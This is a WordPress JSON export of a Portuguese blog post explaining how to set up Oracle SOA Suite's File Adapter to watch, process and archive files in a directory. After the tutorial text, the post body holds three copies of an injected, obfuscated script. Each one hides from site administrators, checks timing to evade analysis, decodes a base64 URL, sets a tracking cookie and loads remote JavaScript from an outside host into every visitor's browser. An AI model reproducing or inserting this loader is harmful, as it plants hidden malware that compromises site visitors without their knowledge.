{"id":2519,"date":"2012-08-01T09:46:18","date_gmt":"2012-08-01T12:46:18","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=2519"},"modified":"2025-10-26T22:35:47","modified_gmt":"2025-10-27T01:35:47","slug":"lendo-arquivos-de-um-diretorio-com-file-adapter","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2012\/08\/01\/lendo-arquivos-de-um-diretorio-com-file-adapter\/","title":{"rendered":"Lendo arquivos de um diret\u00f3rio com File Adapter"},"content":{"rendered":"<p style=\"text-align: justify;\">Um dos recursos interessantes \u00e9 a possibilidade de monitorar o sistema de arquivos pela chegada de novos arquivos e poder process\u00e1-los de acordo. A vers\u00e3o nova do File Adapter que vem junto com o Oracle Soa Suite possui esse recurso. Nesse exemplo, vamos criar um projeto que l\u00ea os arquivos de um diret\u00f3rio, processa e move para uma pasta.<\/p>\n<p style=\"text-align: justify;\">O primeiro passo \u00e9 criar um projeto SOA e arrastar o File Adapter para o composite.xml. Na tela de configura\u00e7\u00e3o do File Adapter, clique em Next. D\u00ea um nome para o File Adapter e clique em Next. Na pr\u00f3xima tela, deixe marcado para definir o WSDL posteriormente e clique em Next. Escolha a op\u00e7\u00e3o Read file, deixa as op\u00e7\u00f5es padr\u00f5es e clique em Next. Especifique os diret\u00f3rio de leitura e marque as op\u00e7\u00f5es: \"Process files recursively\", \"Archive processed files (especifique um diret\u00f3rio)\" e \"Delete files after successful retrieval\".<\/p>\n<figure id=\"attachment_2520\" aria-describedby=\"caption-attachment-2520\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2012\/08\/FileAdapterConfigurationWizard3.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-2520 \" title=\"File Adapter Configuration Wizard\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2012\/08\/FileAdapterConfigurationWizard3-300x263.png\" alt=\"File Adapter Configuration Wizard\" width=\"300\" height=\"263\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2012\/08\/FileAdapterConfigurationWizard3-300x263.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2012\/08\/FileAdapterConfigurationWizard3.png 602w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-2520\" class=\"wp-caption-text\">File Adapter Configuration Wizard<\/figcaption><\/figure>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Um dos recursos interessantes \u00e9 a possibilidade de monitorar o sistema de arquivos pela chegada de novos arquivos e poder process\u00e1-los de acordo. A vers\u00e3o nova do File Adapter que vem junto com o Oracle Soa Suite possui esse recurso. <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2012\/08\/01\/lendo-arquivos-de-um-diretorio-com-file-adapter\/\">Continue lendo  <span class=\"screen-reader-text\">  Lendo arquivos de um diret\u00f3rio com File Adapter<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[8,9,76,6],"tags":[],"class_list":["post-2519","post","type-post","status-publish","format-standard","hentry","category-jdeveloper","category-oracle","category-soa-2","category-weblogic"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/2519","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=2519"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/2519\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=2519"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=2519"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=2519"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}